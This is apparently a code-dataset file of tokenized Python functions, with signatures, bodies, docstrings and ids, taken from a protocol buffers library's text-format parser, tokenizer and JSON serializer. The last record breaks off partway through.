{"signature": "def PrintFieldValue(self, field, value):", "body": "out = self.out<EOL>if self.pointy_brackets:<EOL><INDENT>openb = '<STR_LIT:<>'<EOL>closeb = '<STR_LIT:>>'<EOL><DEDENT>else:<EOL><INDENT>openb = '<STR_LIT:{>'<EOL>closeb = '<STR_LIT:}>'<EOL><DEDENT>if field.cpp_type == descriptor.FieldDescriptor.CPPTYPE_MESSAGE:<EOL><INDENT>if self.as_one_line:<EOL><INDENT>out.write('<STR_LIT>' % openb)<EOL>self.PrintMessage(value)<EOL>out.write(closeb)<EOL><DEDENT>else:<EOL><INDENT>out.write('<STR_LIT>' % openb)<EOL>self.indent += <NUM_LIT:2><EOL>self.PrintMessage(value)<EOL>self.indent -= <NUM_LIT:2><EOL>out.write('<STR_LIT:U+0020>' * self.indent + closeb)<EOL><DEDENT><DEDENT>elif field.cpp_type == descriptor.FieldDescriptor.CPPTYPE_ENUM:<EOL><INDENT>enum_value = field.enum_type.values_by_number.get(value, None)<EOL>if enum_value is not None:<EOL><INDENT>out.write(enum_value.name)<EOL><DEDENT>else:<EOL><INDENT>out.write(str(value))<EOL><DEDENT><DEDENT>elif field.cpp_type == descriptor.FieldDescriptor.CPPTYPE_STRING:<EOL><INDENT>out.write('<STR_LIT>')<EOL>if isinstance(value, six.text_type):<EOL><INDENT>out_value = value.encode('<STR_LIT:utf-8>')<EOL><DEDENT>else:<EOL><INDENT>out_value = value<EOL><DEDENT>if field.type == descriptor.FieldDescriptor.TYPE_BYTES:<EOL><INDENT>out_as_utf8 = False<EOL><DEDENT>else:<EOL><INDENT>out_as_utf8 = self.as_utf8<EOL><DEDENT>out.write(text_encoding.CEscape(out_value, out_as_utf8))<EOL>out.write('<STR_LIT>')<EOL><DEDENT>elif field.cpp_type == descriptor.FieldDescriptor.CPPTYPE_BOOL:<EOL><INDENT>if value:<EOL><INDENT>out.write('<STR_LIT:true>')<EOL><DEDENT>else:<EOL><INDENT>out.write('<STR_LIT:false>')<EOL><DEDENT><DEDENT>elif field.cpp_type in _FLOAT_TYPES and self.float_format is not None:<EOL><INDENT>out.write('<STR_LIT>'.format(self.float_format, value))<EOL><DEDENT>else:<EOL><INDENT>out.write(str(value))<EOL><DEDENT>", "docstring": "Print a single field value (not including name).\n\n        For repeated fields, the value should be a single element.\n\n        Args:\n          field: The descriptor of the field to be printed.\n          value: The value of the field.", "id": "f8657:c3:m3"}
{"signature": "def ParseFromString(self, text, message):", "body": "if not isinstance(text, str):<EOL><INDENT>text = text.decode('<STR_LIT:utf-8>')<EOL><DEDENT>return self.ParseLines(text.split('<STR_LIT:\\n>'), message)<EOL>", "docstring": "Parses an text representation of a protocol message into a message.", "id": "f8657:c4:m1"}
{"signature": "def ParseLines(self, lines, message):", "body": "self._allow_multiple_scalars = False<EOL>self._ParseOrMerge(lines, message)<EOL>return message<EOL>", "docstring": "Parses an text representation of a protocol message into a message.", "id": "f8657:c4:m2"}
{"signature": "def MergeFromString(self, text, message):", "body": "return self._MergeLines(text.split('<STR_LIT:\\n>'), message)<EOL>", "docstring": "Merges an text representation of a protocol message into a message.", "id": "f8657:c4:m3"}
{"signature": "def MergeLines(self, lines, message):", "body": "self._allow_multiple_scalars = True<EOL>self._ParseOrMerge(lines, message)<EOL>return message<EOL>", "docstring": "Merges an text representation of a protocol message into a message.", "id": "f8657:c4:m4"}
{"signature": "def _ParseOrMerge(self, lines, message):", "body": "tokenizer = _Tokenizer(lines)<EOL>while not tokenizer.AtEnd():<EOL><INDENT>self._MergeField(tokenizer, message)<EOL><DEDENT>", "docstring": "Converts an text representation of a protocol message into a message.\n\n        Args:\n          lines: Lines of a message's text representation.\n          message: A protocol buffer message to merge into.\n\n        Raises:\n          ParseError: On text parsing problems.", "id": "f8657:c4:m5"}
{"signature": "def _MergeField(self, tokenizer, message):", "body": "message_descriptor = message.DESCRIPTOR<EOL>if (hasattr(message_descriptor, '<STR_LIT>') and<EOL>message_descriptor.syntax == '<STR_LIT>'):<EOL><INDENT>self._allow_multiple_scalars = True<EOL><DEDENT>if tokenizer.TryConsume('<STR_LIT:[>'):<EOL><INDENT>name = [tokenizer.ConsumeIdentifier()]<EOL>while tokenizer.TryConsume('<STR_LIT:.>'):<EOL><INDENT>name.append(tokenizer.ConsumeIdentifier())<EOL><DEDENT>name = '<STR_LIT:.>'.join(name)<EOL>if not message_descriptor.is_extendable:<EOL><INDENT>raise tokenizer.ParseErrorPreviousToken(<EOL>'<STR_LIT>' %<EOL>message_descriptor.full_name)<EOL><DEDENT>field = message.Extensions._FindExtensionByName(name)<EOL>if not field:<EOL><INDENT>if self.allow_unknown_extension:<EOL><INDENT>field = None<EOL><DEDENT>else:<EOL><INDENT>raise tokenizer.ParseErrorPreviousToken(<EOL>'<STR_LIT>' % name)<EOL><DEDENT><DEDENT>elif message_descriptor != field.containing_type:<EOL><INDENT>raise tokenizer.ParseErrorPreviousToken(<EOL>'<STR_LIT>' % (<EOL>name, message_descriptor.full_name))<EOL><DEDENT>tokenizer.Consume('<STR_LIT:]>')<EOL><DEDENT>else:<EOL><INDENT>name = tokenizer.ConsumeIdentifier()<EOL>if self.allow_field_number and name.isdigit():<EOL><INDENT>number = ParseInteger(name, True, True)<EOL>field = message_descriptor.fields_by_number.get(number, None)<EOL>if not field and message_descriptor.is_extendable:<EOL><INDENT>field = message.Extensions._FindExtensionByNumber(number)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>field = message_descriptor.fields_by_name.get(name, None)<EOL>if not field:<EOL><INDENT>field = message_descriptor.fields_by_name.get(name.lower(), None)<EOL>if field and field.type != descriptor.FieldDescriptor.TYPE_GROUP:<EOL><INDENT>field = None<EOL><DEDENT><DEDENT>if (field and field.type == descriptor.FieldDescriptor.TYPE_GROUP and<EOL>field.message_type.name != name):<EOL><INDENT>field = None<EOL><DEDENT><DEDENT>if not field:<EOL><INDENT>raise tokenizer.ParseErrorPreviousToken(<EOL>'<STR_LIT>' % (<EOL>message_descriptor.full_name, name))<EOL><DEDENT><DEDENT>if field:<EOL><INDENT>if not self._allow_multiple_scalars and field.containing_oneof:<EOL><INDENT>which_oneof = message.WhichOneof(field.containing_oneof.name)<EOL>if which_oneof is not None and which_oneof != field.name:<EOL><INDENT>raise tokenizer.ParseErrorPreviousToken(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' % (<EOL>field.name, which_oneof, field.containing_oneof.name,<EOL>message_descriptor.full_name))<EOL><DEDENT><DEDENT>if field.cpp_type == descriptor.FieldDescriptor.CPPTYPE_MESSAGE:<EOL><INDENT>tokenizer.TryConsume('<STR_LIT::>')<EOL>merger = self._MergeMessageField<EOL><DEDENT>else:<EOL><INDENT>tokenizer.Consume('<STR_LIT::>')<EOL>merger = self._MergeScalarField<EOL><DEDENT>if (field.label == descriptor.FieldDescriptor.LABEL_REPEATED<EOL>and tokenizer.TryConsume('<STR_LIT:[>')):<EOL><INDENT>while True:<EOL><INDENT>merger(tokenizer, message, field)<EOL>if tokenizer.TryConsume('<STR_LIT:]>'): break<EOL>tokenizer.Consume('<STR_LIT:U+002C>')<EOL><DEDENT><DEDENT>else:<EOL><INDENT>merger(tokenizer, message, field)<EOL><DEDENT><DEDENT>else:  <EOL><INDENT>assert self.allow_unknown_extension<EOL>_SkipFieldContents(tokenizer)<EOL><DEDENT>if not tokenizer.TryConsume('<STR_LIT:U+002C>'):<EOL><INDENT>tokenizer.TryConsume('<STR_LIT:;>')<EOL><DEDENT>", "docstring": "Merges a single protocol message field into a message.\n\n        Args:\n          tokenizer: A tokenizer to parse the field name and values.\n          message: A protocol message to record the data.\n\n        Raises:\n          ParseError: In case of text parsing problems.", "id": "f8657:c4:m6"}
{"signature": "def _MergeMessageField(self, tokenizer, message, field):", "body": "is_map_entry = _IsMapEntry(field)<EOL>if tokenizer.TryConsume('<STR_LIT:<>'):<EOL><INDENT>end_token = '<STR_LIT:>>'<EOL><DEDENT>else:<EOL><INDENT>tokenizer.Consume('<STR_LIT:{>')<EOL>end_token = '<STR_LIT:}>'<EOL><DEDENT>if field.label == descriptor.FieldDescriptor.LABEL_REPEATED:<EOL><INDENT>if field.is_extension:<EOL><INDENT>sub_message = message.Extensions[field].add()<EOL><DEDENT>elif is_map_entry:<EOL><INDENT>sub_message = field.message_type._concrete_class()<EOL><DEDENT>else:<EOL><INDENT>sub_message = getattr(message, field.name).add()<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if field.is_extension:<EOL><INDENT>sub_message = message.Extensions[field]<EOL><DEDENT>else:<EOL><INDENT>sub_message = getattr(message, field.name)<EOL><DEDENT>sub_message.SetInParent()<EOL><DEDENT>while not tokenizer.TryConsume(end_token):<EOL><INDENT>if tokenizer.AtEnd():<EOL><INDENT>raise tokenizer.ParseErrorPreviousToken('<STR_LIT>' % (end_token,))<EOL><DEDENT>self._MergeField(tokenizer, sub_message)<EOL><DEDENT>if is_map_entry:<EOL><INDENT>value_cpptype = field.message_type.fields_by_name['<STR_LIT:value>'].cpp_type<EOL>if value_cpptype == descriptor.FieldDescriptor.CPPTYPE_MESSAGE:<EOL><INDENT>value = getattr(message, field.name)[sub_message.key]<EOL>value.MergeFrom(sub_message.value)<EOL><DEDENT>else:<EOL><INDENT>getattr(message, field.name)[sub_message.key] = sub_message.value<EOL><DEDENT><DEDENT>", "docstring": "Merges a single scalar field into a message.\n\n        Args:\n          tokenizer: A tokenizer to parse the field value.\n          message: The message of which field is a member.\n          field: The descriptor of the field to be merged.\n\n        Raises:\n          ParseError: In case of text parsing problems.", "id": "f8657:c4:m7"}
{"signature": "def _MergeScalarField(self, tokenizer, message, field):", "body": "_ = self.allow_unknown_extension<EOL>value = None<EOL>if field.type in (descriptor.FieldDescriptor.TYPE_INT32,<EOL>descriptor.FieldDescriptor.TYPE_SINT32,<EOL>descriptor.FieldDescriptor.TYPE_SFIXED32):<EOL><INDENT>value = tokenizer.ConsumeInt32()<EOL><DEDENT>elif field.type in (descriptor.FieldDescriptor.TYPE_INT64,<EOL>descriptor.FieldDescriptor.TYPE_SINT64,<EOL>descriptor.FieldDescriptor.TYPE_SFIXED64):<EOL><INDENT>value = tokenizer.ConsumeInt64()<EOL><DEDENT>elif field.type in (descriptor.FieldDescriptor.TYPE_UINT32,<EOL>descriptor.FieldDescriptor.TYPE_FIXED32):<EOL><INDENT>value = tokenizer.ConsumeUint32()<EOL><DEDENT>elif field.type in (descriptor.FieldDescriptor.TYPE_UINT64,<EOL>descriptor.FieldDescriptor.TYPE_FIXED64):<EOL><INDENT>value = tokenizer.ConsumeUint64()<EOL><DEDENT>elif field.type in (descriptor.FieldDescriptor.TYPE_FLOAT,<EOL>descriptor.FieldDescriptor.TYPE_DOUBLE):<EOL><INDENT>value = tokenizer.ConsumeFloat()<EOL><DEDENT>elif field.type == descriptor.FieldDescriptor.TYPE_BOOL:<EOL><INDENT>value = tokenizer.ConsumeBool()<EOL><DEDENT>elif field.type == descriptor.FieldDescriptor.TYPE_STRING:<EOL><INDENT>value = tokenizer.ConsumeString()<EOL><DEDENT>elif field.type == descriptor.FieldDescriptor.TYPE_BYTES:<EOL><INDENT>value = tokenizer.ConsumeByteString()<EOL><DEDENT>elif field.type == descriptor.FieldDescriptor.TYPE_ENUM:<EOL><INDENT>value = tokenizer.ConsumeEnum(field)<EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError('<STR_LIT>' % field.type)<EOL><DEDENT>if field.label == descriptor.FieldDescriptor.LABEL_REPEATED:<EOL><INDENT>if field.is_extension:<EOL><INDENT>message.Extensions[field].append(value)<EOL><DEDENT>else:<EOL><INDENT>getattr(message, field.name).append(value)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if field.is_extension:<EOL><INDENT>if not self._allow_multiple_scalars and message.HasExtension(field):<EOL><INDENT>raise tokenizer.ParseErrorPreviousToken(<EOL>'<STR_LIT>' %<EOL>(message.DESCRIPTOR.full_name, field.full_name))<EOL><DEDENT>else:<EOL><INDENT>message.Extensions[field] = value<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if not self._allow_multiple_scalars and message.HasField(field.name):<EOL><INDENT>raise tokenizer.ParseErrorPreviousToken(<EOL>'<STR_LIT>' %<EOL>(message.DESCRIPTOR.full_name, field.name))<EOL><DEDENT>else:<EOL><INDENT>setattr(message, field.name, value)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Merges a single scalar field into a message.\n\n        Args:\n          tokenizer: A tokenizer to parse the field value.\n          message: A protocol message to record the data.\n          field: The descriptor of the field to be merged.\n\n        Raises:\n          ParseError: In case of text parsing problems.\n          RuntimeError: On runtime errors.", "id": "f8657:c4:m8"}
{"signature": "def AtEnd(self):", "body": "return not self.token<EOL>", "docstring": "Checks the end of the text was reached.\n\n        Returns:\n          True iff the end was reached.", "id": "f8657:c5:m2"}
{"signature": "def TryConsume(self, token):", "body": "if self.token == token:<EOL><INDENT>self.NextToken()<EOL>return True<EOL><DEDENT>return False<EOL>", "docstring": "Tries to consume a given piece of text.\n\n        Args:\n          token: Text to consume.\n\n        Returns:\n          True iff the text was consumed.", "id": "f8657:c5:m5"}
{"signature": "def Consume(self, token):", "body": "if not self.TryConsume(token):<EOL><INDENT>raise self._ParseError('<STR_LIT>' % token)<EOL><DEDENT>", "docstring": "Consumes a piece of text.\n\n        Args:\n          token: Text to consume.\n\n        Raises:\n          ParseError: If the text couldn't be consumed.", "id": "f8657:c5:m6"}
{"signature": "def ConsumeIdentifier(self):", "body": "result = self.token<EOL>if not self._IDENTIFIER.match(result):<EOL><INDENT>raise self._ParseError('<STR_LIT>')<EOL><DEDENT>self.NextToken()<EOL>return result<EOL>", "docstring": "Consumes protocol message field identifier.\n\n        Returns:\n          Identifier string.\n\n        Raises:\n          ParseError: If an identifier couldn't be consumed.", "id": "f8657:c5:m8"}
{"signature": "def ConsumeInt32(self):", "body": "try:<EOL><INDENT>result = ParseInteger(self.token, is_signed=True, is_long=False)<EOL><DEDENT>except ValueError as e:<EOL><INDENT>raise self._ParseError(str(e))<EOL><DEDENT>self.NextToken()<EOL>return result<EOL>", "docstring": "Consumes a signed 32bit integer number.\n\n        Returns:\n          The integer parsed.\n\n        Raises:\n          ParseError: If a signed 32bit integer couldn't be consumed.", "id": "f8657:c5:m9"}
{"signature": "def ConsumeUint32(self):", "body": "try:<EOL><INDENT>result = ParseInteger(self.token, is_signed=False, is_long=False)<EOL><DEDENT>except ValueError as e:<EOL><INDENT>raise self._ParseError(str(e))<EOL><DEDENT>self.NextToken()<EOL>return result<EOL>", "docstring": "Consumes an unsigned 32bit integer number.\n\n        Returns:\n          The integer parsed.\n\n        Raises:\n          ParseError: If an unsigned 32bit integer couldn't be consumed.", "id": "f8657:c5:m10"}
{"signature": "def ConsumeInt64(self):", "body": "try:<EOL><INDENT>result = ParseInteger(self.token, is_signed=True, is_long=True)<EOL><DEDENT>except ValueError as e:<EOL><INDENT>raise self._ParseError(str(e))<EOL><DEDENT>self.NextToken()<EOL>return result<EOL>", "docstring": "Consumes a signed 64bit integer number.\n\n        Returns:\n          The integer parsed.\n\n        Raises:\n          ParseError: If a signed 64bit integer couldn't be consumed.", "id": "f8657:c5:m12"}
{"signature": "def ConsumeUint64(self):", "body": "try:<EOL><INDENT>result = ParseInteger(self.token, is_signed=False, is_long=True)<EOL><DEDENT>except ValueError as e:<EOL><INDENT>raise self._ParseError(str(e))<EOL><DEDENT>self.NextToken()<EOL>return result<EOL>", "docstring": "Consumes an unsigned 64bit integer number.\n\n        Returns:\n          The integer parsed.\n\n        Raises:\n          ParseError: If an unsigned 64bit integer couldn't be consumed.", "id": "f8657:c5:m14"}
{"signature": "def ConsumeFloat(self):", "body": "try:<EOL><INDENT>result = ParseFloat(self.token)<EOL><DEDENT>except ValueError as e:<EOL><INDENT>raise self._ParseError(str(e))<EOL><DEDENT>self.NextToken()<EOL>return result<EOL>", "docstring": "Consumes an floating point number.\n\n        Returns:\n          The number parsed.\n\n        Raises:\n          ParseError: If a floating point number couldn't be consumed.", "id": "f8657:c5:m16"}
{"signature": "def ConsumeBool(self):", "body": "try:<EOL><INDENT>result = ParseBool(self.token)<EOL><DEDENT>except ValueError as e:<EOL><INDENT>raise self._ParseError(str(e))<EOL><DEDENT>self.NextToken()<EOL>return result<EOL>", "docstring": "Consumes a boolean value.\n\n        Returns:\n          The bool parsed.\n\n        Raises:\n          ParseError: If a boolean value couldn't be consumed.", "id": "f8657:c5:m17"}
{"signature": "def ConsumeString(self):", "body": "the_bytes = self.ConsumeByteString()<EOL>try:<EOL><INDENT>return six.text_type(the_bytes, '<STR_LIT:utf-8>')<EOL><DEDENT>except UnicodeDecodeError as e:<EOL><INDENT>raise self._StringParseError(e)<EOL><DEDENT>", "docstring": "Consumes a string value.\n\n        Returns:\n          The string parsed.\n\n        Raises:\n          ParseError: If a string value couldn't be consumed.", "id": "f8657:c5:m19"}
{"signature": "def ConsumeByteString(self):", "body": "the_list = [self._ConsumeSingleByteString()]<EOL>while self.token and self.token[<NUM_LIT:0>] in _QUOTES:<EOL><INDENT>the_list.append(self._ConsumeSingleByteString())<EOL><DEDENT>return b'<STR_LIT>'.join(the_list)<EOL>", "docstring": "Consumes a byte array value.\n\n        Returns:\n          The array parsed (as a string).\n\n        Raises:\n          ParseError: If a byte array value couldn't be consumed.", "id": "f8657:c5:m20"}
{"signature": "def _ConsumeSingleByteString(self):", "body": "text = self.token<EOL>if len(text) < <NUM_LIT:1> or text[<NUM_LIT:0>] not in _QUOTES:<EOL><INDENT>raise self._ParseError('<STR_LIT>' % (text,))<EOL><DEDENT>if len(text) < <NUM_LIT:2> or text[-<NUM_LIT:1>] != text[<NUM_LIT:0>]:<EOL><INDENT>raise self._ParseError('<STR_LIT>' % (text,))<EOL><DEDENT>try:<EOL><INDENT>result = text_encoding.CUnescape(text[<NUM_LIT:1>:-<NUM_LIT:1>])<EOL><DEDENT>except ValueError as e:<EOL><INDENT>raise self._ParseError(str(e))<EOL><DEDENT>self.NextToken()<EOL>return result<EOL>", "docstring": "Consume one token of a string literal.\n\n        String literals (whether bytes or text) can come in multiple adjacent\n        tokens which are automatically concatenated, like in C or Python.  This\n        method only consumes one token.\n\n        Returns:\n          The token parsed.\n        Raises:\n          ParseError: When the wrong format data is found.", "id": "f8657:c5:m21"}
{"signature": "def ParseErrorPreviousToken(self, message):", "body": "return ParseError('<STR_LIT>' % (<EOL>self._previous_line + <NUM_LIT:1>, self._previous_column + <NUM_LIT:1>, message))<EOL>", "docstring": "Creates and *returns* a ParseError for the previously read token.\n\n        Args:\n          message: A message to set for the exception.\n\n        Returns:\n          A ParseError instance.", "id": "f8657:c5:m23"}
{"signature": "def _ParseError(self, message):", "body": "return ParseError('<STR_LIT>' % (<EOL>self._line + <NUM_LIT:1>, self._column + <NUM_LIT:1>, message))<EOL>", "docstring": "Creates and *returns* a ParseError for the current token.", "id": "f8657:c5:m24"}
{"signature": "def NextToken(self):", "body": "self._previous_line = self._line<EOL>self._previous_column = self._column<EOL>self._column += len(self.token)<EOL>self._SkipWhitespace()<EOL>if not self._more_lines:<EOL><INDENT>self.token = '<STR_LIT>'<EOL>return<EOL><DEDENT>match = self._TOKEN.match(self._current_line, self._column)<EOL>if match:<EOL><INDENT>token = match.group(<NUM_LIT:0>)<EOL>self.token = token<EOL><DEDENT>else:<EOL><INDENT>self.token = self._current_line[self._column]<EOL><DEDENT>", "docstring": "Reads the next meaningful token.", "id": "f8657:c5:m26"}
{"signature": "def MessageToJson(message, including_default_value_fields=False):", "body": "js = _MessageToJsonObject(message, including_default_value_fields)<EOL>return json.dumps(js, indent=<NUM_LIT:2>)<EOL>", "docstring": "Converts protobuf message to JSON format.\n\n    Args:\n      message: The protocol buffers message instance to serialize.\n      including_default_value_fields: If True, singular primitive fields,\n          repeated fields, and map fields will always be serialized.  If\n          False, only serialize non-empty fields.  Singular message fields\n          and oneof fields are not affected by this option.\n\n    Returns:\n      A string containing the JSON formatted protocol buffer message.", "id": "f8658:m0"}
{"signature": "def _MessageToJsonObject(message, including_default_value_fields):", "body": "message_descriptor = message.DESCRIPTOR<EOL>full_name = message_descriptor.full_name<EOL>if _IsWrapperMessage(message_descriptor):<EOL><INDENT>return _WrapperMessageToJsonObject(message)<EOL><DEDENT>if full_name in _WKTJSONMETHODS:<EOL><INDENT>return _WKTJSONMETHODS[full_name][<NUM_LIT:0>](<EOL>message, including_default_value_fields)<EOL><DEDENT>js = {}<EOL>return _RegularMessageToJsonObject(<EOL>message, js, including_default_value_fields)<EOL>", "docstring": "Converts message to an object according to Proto3 JSON Specification.", "id": "f8658:m1"}
{"signature": "def _RegularMessageToJsonObject(message, js, including_default_value_fields):", "body": "fields = message.ListFields()<EOL>include_default = including_default_value_fields<EOL>try:<EOL><INDENT>for field, value in fields:<EOL><INDENT>name = field.camelcase_name<EOL>if _IsMapEntry(field):<EOL><INDENT>v_field = field.message_type.fields_by_name['<STR_LIT:value>']<EOL>js_map = {}<EOL>for key in value:<EOL><INDENT>if isinstance(key, bool):<EOL><INDENT>if key:<EOL><INDENT>recorded_key = '<STR_LIT:true>'<EOL><DEDENT>else:<EOL><INDENT>recorded_key = '<STR_LIT:false>'<EOL><DEDENT><DEDENT>else:<EOL><INDENT>recorded_key = key<EOL><DEDENT>js_map[recorded_key] = _FieldToJsonObject(<EOL>v_field, value[key], including_default_value_fields)<EOL><DEDENT>js[name] = js_map<EOL><DEDENT>elif field.label == descriptor.FieldDescriptor.LABEL_REPEATED:<EOL><INDENT>js[name] = [_FieldToJsonObject(field, k, include_default)<EOL>for k in value]<EOL><DEDENT>else:<EOL><INDENT>js[name] = _FieldToJsonObject(field, value, include_default)<EOL><DEDENT><DEDENT>if including_default_value_fields:<EOL><INDENT>message_descriptor = message.DESCRIPTOR<EOL>for field in message_descriptor.fields:<EOL><INDENT>if ((field.label != descriptor.FieldDescriptor.LABEL_REPEATED and<EOL>field.cpp_type == descriptor.FieldDescriptor.CPPTYPE_MESSAGE) or<EOL>field.containing_oneof):<EOL><INDENT>continue<EOL><DEDENT>name = field.camelcase_name<EOL>if name in js:<EOL><INDENT>continue<EOL><DEDENT>if _IsMapEntry(field):<EOL><INDENT>js[name] = {}<EOL><DEDENT>elif field.label == descriptor.FieldDescriptor.LABEL_REPEATED:<EOL><INDENT>js[name] = []<EOL><DEDENT>else:<EOL><INDENT>js[name] = _FieldToJsonObject(field, field.default_value)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>except ValueError as e:<EOL><INDENT>raise SerializeToJsonError(<EOL>'<STR_LIT>'.format(field.name, e))<EOL><DEDENT>return js<EOL>", "docstring": "Converts normal message according to Proto3 JSON Specification.", "id": "f8658:m3"}
{"signature": "def _FieldToJsonObject(<EOL>field, value, including_default_value_fields=False):", "body": "if field.cpp_type == descriptor.FieldDescriptor.CPPTYPE_MESSAGE:<EOL><INDENT>return _MessageToJsonObject(value, including_default_value_fields)<EOL><DEDENT>elif field.cpp_type == descriptor.FieldDescriptor.CPPTYPE_ENUM:<EOL><INDENT>enum_value = field.enum_type.values_by_number.get(value, None)<EOL>if enum_value is not None:<EOL><INDENT>return enum_value.name<EOL><DEDENT>else:<EOL><INDENT>raise SerializeToJsonError('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT><DEDENT>elif field.cpp_type == descriptor.FieldDescriptor.CPPTYPE_STRING:<EOL><INDENT>if field.type == descriptor.FieldDescriptor.TYPE_BYTES:<EOL><INDENT>return base64.b64encode(value).decode('<STR_LIT:utf-8>')<EOL><DEDENT>else:<EOL><INDENT>return value<EOL><DEDENT><DEDENT>elif field.cpp_type == descriptor.FieldDescriptor.CPPTYPE_BOOL:<EOL><INDENT>return bool(value)<EOL><DEDENT>elif field.cpp_type in _INT64_TYPES:<EOL><INDENT>return str(value)<EOL><DEDENT>elif field.cpp_type in _FLOAT_TYPES:<EOL><INDENT>if math.isinf(value):<EOL><INDENT>if value < <NUM_LIT:0.0>:<EOL><INDENT>return _NEG_INFINITY<EOL><DEDENT>else:<EOL><INDENT>return _INFINITY<EOL><DEDENT><DEDENT>if math.isnan(value):<EOL><INDENT>return _NAN<EOL><DEDENT><DEDENT>return value<EOL>", "docstring": "Converts field value according to Proto3 JSON Specification.", "id": "f8658:m4"}
{"signature": "def _AnyMessageToJsonObject(message, including_default):", "body": "if not message.ListFields():<EOL><INDENT>return {}<EOL><DEDENT>js = {}<EOL>type_url = message.type_url<EOL>js['<STR_LIT>'] = type_url<EOL>sub_message = _CreateMessageFromTypeUrl(type_url)<EOL>sub_message.ParseFromString(message.value)<EOL>message_descriptor = sub_message.DESCRIPTOR<EOL>full_name = message_descriptor.full_name<EOL>if _IsWrapperMessage(message_descriptor):<EOL><INDENT>js['<STR_LIT:value>'] = _WrapperMessageToJsonObject(sub_message)<EOL>return js<EOL><DEDENT>if full_name in _WKTJSONMETHODS:<EOL><INDENT>js['<STR_LIT:value>'] = _WKTJSONMETHODS[full_name][<NUM_LIT:0>](sub_message, including_default)<EOL>return js<EOL><DEDENT>return _RegularMessageToJsonObject(sub_message, js, including_default)<EOL>", "docstring": "Converts Any message according to Proto3 JSON Specification.", "id": "f8658:m5"}
{"signature": "def _GenericMessageToJsonObject(message, unused_including_default):", "body": "<EOL>return message.ToJsonString()<EOL>", "docstring": "Converts message by ToJsonString according to Proto3 JSON Specification.", "id": "f8658:m7"}
{"signature": "def _ValueMessageToJsonObject(message, unused_including_default=False):", "body": "which = message.WhichOneof('<STR_LIT>')<EOL>if which is None or which == '<STR_LIT>':<EOL><INDENT>return None<EOL><DEDENT>if which == '<STR_LIT>':<EOL><INDENT>return _ListValueMessageToJsonObject(message.list_value)<EOL><DEDENT>if which == '<STR_LIT>':<EOL><INDENT>value = message.struct_value<EOL><DEDENT>else:<EOL><INDENT>value = getattr(message, which)<EOL><DEDENT>oneof_descriptor = message.DESCRIPTOR.fields_by_name[which]<EOL>return _FieldToJsonObject(oneof_descriptor, value)<EOL>", "docstring": "Converts Value message according to Proto3 JSON Specification.", "id": "f8658:m8"}
{"signature": "def _ListValueMessageToJsonObject(message, unused_including_default=False):", "body": "return [_ValueMessageToJsonObject(value)<EOL>for value in message.values]<EOL>", "docstring": "Converts ListValue message according to Proto3 JSON Specification.", "id": "f8658:m9"}
{"signature": "def _StructMessageToJsonObject(message, unused_including_default=False):", "body": "fields = message.fields<EOL>ret = {}<EOL>for key in fields:<EOL><INDENT>ret[key] = _ValueMessageToJsonObject(fields[key])<EOL><DEDENT>return ret<EOL>", "docstring": "Converts Struct message according to Proto3 JSON Specification.", "id": "f8658:m10"}
{"signature": "def Parse(text, message):", "body": "if not isinstance(text, six.text_type): text = text.decode('<STR_LIT:utf-8>')<EOL>try:<EOL><INDENT>if sys.version_info < (<NUM_LIT:2>, <NUM_LIT:7>):<EOL><INDENT>js = json.loads(text)<EOL><DEDENT>else:<EOL><INDENT>js = json.loads(text, object_pairs_hook=_DuplicateChecker)<EOL><DEDENT><DEDENT>except ValueError as e:<EOL><INDENT>raise ParseError('<STR_LIT>'.format(str(e)))<EOL><DEDENT>_ConvertMessage(js, message)<EOL>return message<EOL>", "docstring": "Parses a JSON representation of a protocol message into a message.\n\n    Args:\n      text: Message JSON representation.\n      message: A protocol beffer message to merge into.\n\n    Returns:\n      The same message passed as argument.\n\n    Raises::\n      ParseError: On JSON parsing problems.", "id": "f8658:m14"}
{"signature": "def _ConvertFieldValuePair(js, message):", "body": "names = []<EOL>message_descriptor = message.DESCRIPTOR<EOL>for name in js:<EOL><INDENT>try:<EOL><INDENT>field = message_descriptor.fields_by_camelcase_name.get(name, None)<EOL>if not field:<EOL><INDENT>raise ParseError(<EOL>'<STR_LIT>'.format(<EOL>message_descriptor.full_name, name))<EOL><DEDENT>if name in names:<EOL><INDENT>raise ParseError(<EOL>'<STR_LIT>'.format(<EOL>message.DESCRIPTOR.full_name, name))<EOL><DEDENT>names.append(name)<EOL>if field.containing_oneof is not None:<EOL><INDENT>oneof_name = field.containing_oneof.name<EOL>if oneof_name in names:<EOL><INDENT>raise ParseError('<STR_LIT>'<EOL>'<STR_LIT>'.format(<EOL>message.DESCRIPTOR.full_name, oneof_name))<EOL><DEDENT>names.append(oneof_name)<EOL><DEDENT>value = js[name]<EOL>if value is None:<EOL><INDENT>message.ClearField(field.name)<EOL>continue<EOL><DEDENT>if _IsMapEntry(field):<EOL><INDENT>message.ClearField(field.name)<EOL>_ConvertMapFieldValue(value, message, field)<EOL><DEDENT>elif field.label == descriptor.FieldDescriptor.LABEL_REPEATED:<EOL><INDENT>message.ClearField(field.name)<EOL>if not isinstance(value, list):<EOL><INDENT>raise ParseError('<STR_LIT>'<EOL>'<STR_LIT>'.format(name, value))<EOL><DEDENT>if field.cpp_type == descriptor.FieldDescriptor.CPPTYPE_MESSAGE:<EOL><INDENT>for item in value:<EOL><INDENT>sub_message = getattr(message, field.name).add()<EOL>if (item is None and<EOL>sub_message.DESCRIPTOR.full_name != '<STR_LIT>'):<EOL><INDENT>raise ParseError('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>_ConvertMessage(item, sub_message)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>for item in value:<EOL><INDENT>if item is None:<EOL><INDENT>raise ParseError('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>getattr(message, field.name).append(<EOL>_ConvertScalarFieldValue(item, field))<EOL><DEDENT><DEDENT><DEDENT>elif field.cpp_type == descriptor.FieldDescriptor.CPPTYPE_MESSAGE:<EOL><INDENT>sub_message = getattr(message, field.name)<EOL>_ConvertMessage(value, sub_message)<EOL><DEDENT>else:<EOL><INDENT>setattr(message, field.name, _ConvertScalarFieldValue(value, field))<EOL><DEDENT><DEDENT>except ParseError as e:<EOL><INDENT>if field and field.containing_oneof is 